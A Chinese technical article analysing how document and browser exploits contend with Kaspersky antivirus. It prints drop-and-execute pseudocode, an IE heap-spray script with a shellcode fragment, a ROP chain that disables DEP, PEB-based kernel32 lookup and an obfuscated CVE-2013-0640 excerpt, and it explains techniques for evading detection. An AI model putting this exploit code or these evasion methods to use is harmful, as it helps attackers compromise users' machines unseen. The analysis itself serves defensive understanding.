特別感謝各位朋友在這一年中對自己工作的支持,無以為報,只能湊合寫一些文章來一搏各位的歡心,如有不對之處還請各位不吝指出,感激不盡!
首先感謝以下朋友給予自己的幫助:
泉哥
沒譜
instruder
我可愛的同事們
主題是關于漏洞利用與卡巴斯基之間的種種對抗,之所以選擇卡巴斯基是因為其在眾多殺毒軟件中為一個典型,從04、05年的內存查殺到最新流行的行為檢測云查殺,卡巴斯基一直緊跟時代步伐并且針對漏洞利用的查殺也越來越準確有效,與諾頓、Bitdefender號稱是最難繞過的殺軟之一。殺毒軟件對文檔類漏洞和瀏覽器漏洞的查殺最為嚴格,此篇也以上述兩類漏洞利用作為示例進行闡述。
漏洞利用技術的發展也是對抗殺毒軟件查殺技術的發展,其中可見各種奇技淫巧,令人目不暇接,其中針對卡巴斯基這款殺毒軟件的繞過方法更是讓人眼前一亮,基本上繞過卡巴斯基的方法對于其他殺軟基本可以做到通殺,這也是分析總結漏洞利用與卡巴斯基對抗的目的所在,以一個旁觀者的角度來分析兩者之間的對抗,更能清晰的理解漏洞利用與殺毒軟件之間的對抗發展,管中窺豹可見一斑。
文章中使用的相關代碼都是從實際的漏洞利用實例中提取精簡而來,并不會實際提供相關漏洞樣本,此處還請大家多多見諒。廢話不多說,下面開始正題:
MS Office 漏洞的沒落,Adobe Reader PDF漏洞的方興未艾,Flash Player漏洞的強勢崛起以及目前瀏覽器UAF漏洞的中興,漏洞的形式多種多樣但是漏洞利用的基本思路倒沒有太大的變化,無非兩種形式:下載并執行和釋放并執行,可謂萬變不離其宗,漏洞利用的最終目的就是把一個程序執行起來,殺毒軟件的查殺目的為把這種行為檢測出來報警并阻止其運行。 漏洞利用最終執行的偽代碼如下:
/***********************************************************************/
/* 演示漏洞利用偽代碼 */
/***********************************************************************/
#include <windows.h>
void main()
{
HANDLE hFileHandle; //主體文件句柄
HANDLE hExeFile; //exe程序句柄
char exploitName[MAX_PATH] = "bin.xxx"; // Exploit主體文件路徑
char tempPath[MAX_PATH] = {0};
DWORD dwWrite =0;
DWORD exeBufferOffset = 0x1000; //exe Exploit主體文件中的偏移
char exebuffer [1024] = {0}; //緩沖區
hFileHandle = CreateFileA(exploitName, //Exploit 主體文件路徑
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
NULL,
NULL);
SetFilePointer(hFileHandle,
exeBufferOffset,
NULL,
FILE_BEGIN);
ReadFile(hFileHandle,exebuffer,sizeof(exebuffer),&dwWrite,NULL); //讀文件
GetTempPathA(MAX_PATH,tempPath); //獲取temp路徑
strcat_s(tempPath,"winexe.exe");
hExeFile = CreateFileA(tempPath, //創建exe
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
NULL,
NULL);
WriteFile(hExeFile,
exebuffer,
sizeof(exebuffer),
&dwWrite,
NULL);
CloseHandle(hFileHandle);
CloseHandle(hExeFile);
WinExec(tempPath,SW_SHOW); //執行exe
}}
以釋放并執行的行為偽代碼作為例子,可以得到以下信息:
(1) ShellCode 使用操作系統的API 函數
(2) 主體文件路徑必須要首先得到
(3) 通過偏移讀取可執行文件
(4) 獲取%temp%或其他路徑
(5) 生成可執行程序并執行
ShellCode得以執行之前,還有很多漏洞利用方法,比如堆填充(Heap Spray),繞過地址隨機化(ASLR)+數據執行保護(DEP)。
1 、Heap Spray
堆填充在瀏覽器和Flash Player相關漏洞應用比較多,Adobe Reader 的早期漏洞也會使用這種方法。其核心思想是在進程內存空間中填充大量無用數據,漏洞觸發之后通過相應技巧跳轉到ShellCode。
常見是在IE瀏覽器中,簡單示例代碼如下:
<SCRIPT language="javascript">
var heapSprayToAddress = 0x05050505; //堆填充地址,最終會用來做shellcode執 //行地址
var payLoadCode = unescape( //ShellCode
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120");
var heapBlockSize = 0x400000; //堆填充大小
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
for ( i = 0 ; i < 128 ; i++)
{
try{
var tar = new
ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
}catch(e){}
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
Flash Player 和Adobe Reader中也會采用類似的方法來達到堆填充的目的。這里就不舉相關例子了,有興趣的話,可以在網絡上搜索一下暴露的POC。
2、 ASLR+DEP
地址隨機化和數據執行保護在最新的操作系統中普遍采用的一種保護技術,若要執行ShellCode,就必須要繞過ASLR+DEP。目前的采用的方法主要有兩種:泄露模塊基址、使用未ASRL的DLL模塊,最終目的就是繞過DEP。
鑒于目前常見的技術是使用ROP,代碼形式簡單如下:
## ROP
rop = struct.pack("<I",0x77bf362c) # POP EBX / RET
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0xFFFFFFFF) # 00000000
rop += struct.pack("<I",0x7e810b7e) # INC EBX / RET
rop += struct.pack("<I",0x77bebb36) # POP EBP / RET
rop += struct.pack("<I",0x7C862144) # SetProcessDEPPolicy
rop += struct.pack("<I",0x77bf3b47) # POP EDI / RET
rop += struct.pack("<I",0x77be1110) # RET
rop += struct.pack("<I",0x77bf1891) # POP ESI / RET
rop += struct.pack("<I",0x77be2091) # RET
rop += struct.pack("<I",0x7e6ea62b) # PUSHAD / RET
####
通過使用ROP的方式調用系統函數比如SetProcessDEPPolicy、VirtualProtect等函數修改一部分內存屬性,將其改為可執行,然后再跳轉執行。
3、 FS:[30]獲取Kernel32基址
FS:[30]這種方法本質是通過PEB的方式來獲取到Kernel32的基址,進而獲取到Kernel32中函數地址。代碼如下:
xor eax, eax ; // clear eax
mov eax, fs:[ 0x30 ] ; // get a pointer to the PEB
mov eax, [ eax + 0x0C ] ; // get PEB->Ldr
mov eax, [ eax + 0x14 ] ; // get PEB->Ldr.InMemoryOrderModuleList.Flink ;//(1st entry)
mov eax, [ eax ] ; // get the next entry (2nd entry)
mov eax, [ eax ] ; // get the next entry (3rd entry)
mov ebp, [ eax + 0x10 ] ; // get the 3rd entries base address ;//(kernel32.dll)
獲取到kernel32基址后可以通過很多種方法來獲取函數地址,大家可以去網上想相關的資料來查。
上述的漏洞利用方法來看,卡巴斯基可以在上述方法中進行有針對性的查殺。最初卡巴斯基相對于對病毒和木馬的查殺而言,漏洞利用方面的查殺是非常弱的,后來由于漏洞利用越來越廣泛越來越爛大街,所用的方法也都是如出一轍,其改進速度非常快,針對漏洞利用方法進行了又針對性的查殺。
行為查殺和虛擬機執行檢查是最近兩三年比較流行的殺軟查殺方式,沒有這兩個東西都不好意思說自己是一款殺毒軟件,可見一斑。
1、 Heap Spray檢測
包括瀏覽器(IE、Chrome、Firefox)、Adobe Reader和Flash Player,Spray的代碼的特征非常明顯。如下代碼
var spraySlide = unescape("%u0505%u0505");
Javasript代碼會使用unescape()函數轉成16進制字符,然后填充到堆上。抓住了這個行為特征,再加上之后的填充操作,就可以作為一種明顯的特征。
卡巴斯基自帶有JavaScript混淆代碼的解密功能,簡單的異或移位修改等操作其是能夠還原出來真實代碼,最終對用戶進行報警。
2、 shellcode行為檢測
ShellCode的最終行為是把一個可執行程序執行起來,最終肯定需要調用相關的API執行函數:WinExec、Createprocess、ShellExecute、CreateProcessInternal等,對上述API函數進行重點監控。
卡巴斯基并沒有對Ring3層的函數進行HOOK,這與麥咖啡有一些區別,而是在Ring0層對執行API函數的各個方面都進行細致的檢測,包括函數調用堆棧、函數返回地址、EXE文件路徑等等,若有其中一項符合檢測規則,就會有相應的告警提示出來。
調用堆棧檢測主要是對當前調用API函數的堆棧進行一些對比。一般情況下,Heap Spray之后跳轉到ShellCode中執行,當前的棧幀指針(ESP)肯定不是原始的棧幀而是一個堆上的地址,類似與VS開發中的GS選項,ShellCode執行時的棧幀與系統默認棧幀不一致。
程序正常執行情況下,函數調用完成之后就會返回到程序的空間中繼續執行,但是在ShellCode中函數調用完成之后返回到堆中執行,很明顯的一種異常行為。
木馬或者病毒的釋放由ShellCode來完成,其釋放目錄比較敏感,比如C:\Windows、C:\Widnwos\System32等等,漏洞利用中一般會選擇%temp%之類的目錄,原因是在任何系統中都有讀寫執行的權限,不用考慮權限的問題,基本上對敏感目錄的監控是每個殺軟必須的功能,這一點卡巴斯基也不例外。
3、 漏洞特征檢測
每種漏洞都有其明顯的特征,卡巴斯基定位出漏洞特征之后,就能夠爆出精確的CVE編號,這對用戶來說非常有幫助,如下圖:
圖1:卡巴斯基告警圖
卡巴斯基告警信息中直接提示了CVE-2012-0158,這種就是其提取了漏洞的首要特征作為特征碼,精確定位漏洞編號。
通過簡單的查找,就可以定位出,卡巴斯基定位的特征碼也是此漏洞觸發的關鍵位置:
圖2:Cobj為漏洞的關鍵位置
4、 重點文件和目錄監控
這一點在上述內容中就已經提到,敏感目錄包括系統目錄和用戶目錄,%temp%目錄由于其在任何用戶下都有可讀可寫可執行的權限,首當其沖成為殺毒軟件監控的重點。
總上所述,卡巴斯基對漏洞利用的檢測是越來越嚴格的,之前所描述的四點其實只是其中的小部分,根據檢測的樣本情況我也只能分析出來這么,還請大家見諒。
卡巴斯基的檢測策略并不是單一的,不是采用一種檢測思路,而是采用多種檢測策略進行組合檢測。比如說某一個瀏覽器漏洞利用代碼繞過了JavaScript解碼檢測,但是在ShellCode部分就不一定能夠繞過。
魔高一尺道高一丈,還是道高一尺魔高一丈,沒有一個定論。放在漏洞利用與殺毒軟件的對抗上也同樣適用,這是一對矛盾發展的綜合體。漏洞利用對抗以卡巴斯基為代碼的殺毒軟件的主要思路就是使其把惡意代碼識別為程序執行正常代碼,混淆殺毒軟件的對惡意代碼的識別能力,抓住這一點就能夠很好的理解漏洞利用針對卡巴斯基所做的精心構造的技巧:
1、 腳本代碼混淆
代表了一類漏洞利用中使用的技巧,縱觀網絡上爆出真實的漏洞利用樣本,沒有一個是直接使用原始的腳本代碼,都是經過了一些巧妙構造,最簡單的就是加密混淆,最終混淆出來的代碼面目全非,分析人員手動進行分析都有很大的難度需要花費大量的精力,更別說軟件能夠識別了。
function eQUIVALENT(cARDINI) {
var mIRACOL = rIGUARDI(vILMENTE(cARDINI));
while (mIRACOL.length < (2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 13 * 2))
mIRACOL += mIRACOL;
pECCATORE((2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2));
var cHIAMATO = [];
var rENDUTO = ((cARDINI >>> 16) & (13 + 2 * 11 * 11)).toString((2 * 5 + 2 * 3));
var sMISURATO = (cARDINI >>> 24).toString((3 * 3 + 7));
if (rENDUTO.length == 1)
rENDUTO = "0" + rENDUTO;
if (sMISURATO.length == 1)
sMISURATO = "0" + sMISURATO;
if (vOLENCI["dIAVOLO"].indexOf("9.") == 0)
for (var oFFICIO = 10; oFFICIO < 80; oFFICIO++) {
var gANELLONE = rIGUARDO(rENDUTO + sMISURATO);
cHIAMATO.push(mIRACOL.substring(0, ((2 * 5 * 2 * 19 * 139) / 2) - 3) + gANELLONE);
}
else
for (var oFFICIO = 10; oFFICIO < 80; oFFICIO++) {
var gANELLONE = rIGUARDO(rENDUTO + sMISURATO);
cHIAMATO.push(mIRACOL.substring(0, ((47 * 2 * 7 * 5 * 2 * 2 * 2 * 2) / 2) - 3) + gANELLONE);
}
var dEFECTIVE = [];
for (var aLLODETTA = 0; aLLODETTA < cHIAMATO.length; aLLODETTA++)
if (aLLODETTA % 2 == 0)
dEFECTIVE.push(cHIAMATO[aLLODETTA] + qUETARSI);
pECCATORE(vOLENCI[sHOGG('rtboteejucaOCn', 4013, 6949)]);
}
var cONTRARIA = [];
function dISGRIEVI(pRELIBA) {
if (vOLENCI[sHOGG('IAVOLOd', 9323, 8863)].indexOf("9.") == 0)
for (var oFFICIO = 10; oFFICIO < 40; oFFICIO++)
pOSSEDER.push(gRIDARO.substring(0, ((3 * 3 * 61 * 3 * 17 + 24821) / 2) - 3) + oFFICIO.toString());
else
for (var oFFICIO = 10; oFFICIO < 40; oFFICIO++)
pOSSEDER.push(gRIDARO.substring(0, ((3 * 239 * 2 * 2 + 541 * 2 * 2 * 23) / 2) - 3) + oFFICIO.toString());
pECCATORE(pRELIBA);
}
以上代碼節選自CVE-2013-0640 Adobe Reader 漏洞利用的Javascript 代碼,所有的變量名稱和函數名稱經過了隨機化處理,某些函數只能靠猜測來確認其功能,代碼中也沒有直接的內存填充操作。
加密混淆過的腳本代碼可讀性之差,讓人抓狂。卡巴斯基會花費大量的內存進行解碼,考慮到性能和用戶體驗,其會認為這是正常執行代碼。當然這是之前的情況,目前這份代碼卡巴斯基肯定是能夠檢測出來的。
2、 ShellCode多樣化
條條大路通羅馬來形容ShellCode的變形和多樣化一點也不為過,只要是能夠達到最終執行EXE的目的,ShellCode會使用各種奇技淫巧,無所不用其極。
加密ShellCode比如簡單的異或移位等操作已經無法對抗卡巴斯基,其對ShellCode的解碼能力非常強大。目前拿到的樣本顯示某些漏洞利用已經不再對ShellCode進行加密,而是從其他方面下手,比如在執行行為上進行有技巧性的修改。
ShellCode執行棧在進程默認堆棧棧幀、ShellCode通過ROP鏈的形式執行、調用API執行函數之前和之后使用進程默認模塊代碼、調用第三方模塊執行EXE等等等等,此處就不進行一一列舉。
簡單示例代碼如下:
#include <windows.h>
void main()
{
WinExec("cmd.exe %temp%\\calc.exe",SW_SHOW);
}
通過cmd.exe把釋放到%temp%目錄下的calc.exe執行起來,當然也有變形比如把cmd.exe拷貝到其他目錄之后執行。第三方程序需要保證是系統默認并且卡巴斯基不會阻止其運行,目前此種ShellCode利用方式已經被卡巴斯基修補。
3、 文件格式變形
這方面文檔格式類漏洞利用做的比較多,復合文檔格式由于其自身的復雜性,保證其漏洞觸發成功率和穩定性的情況下可以把初始樣本改成一個格式非常復雜,各種文件元素圖片等等嵌套在一起的一個最終利用文檔,其中ShellCode可以在文檔中的任意位置。
就樣本分析來看,上面的這種方法繞過還繞不過卡巴斯基的話,還有另外一個大殺器,就是對文檔進行加密處理,Adobe Reader的樣本比較多采用這種方式,卡巴斯基對加密后的文檔無任何解密能力,想檢測也無法做到,只能認為其是一個正常文檔。這是第一步,后面對文檔打開過程中的ShellCode檢測并不會因為判定其是一個正常文檔就放棄檢測。因此在靜態繞過卡巴斯基檢測之后,也需要對卡巴斯基其他的檢測方式進行相應的反檢測處理。
本來自己想寫一篇漏洞利于與卡巴斯基的對抗史,但是有些東西不能說的太細,很多細節在這里不能一一表述,最終就寫成了這么一篇科普文,實乃一大憾事,以后會對此篇文章中的一些細節進行補充,大家見諒,廢話很多,干貨到一點沒有。
卡巴斯基是一款非常強大的殺毒軟件,這一點毋庸置疑。漏洞利用與之對抗也促進了雙方技術能力和水平的提高,讓我等小菜打開眼界。
路漫漫其修遠兮,吾將上下而求索,謹以此句送給奮戰在逆向第一線的各位朋友。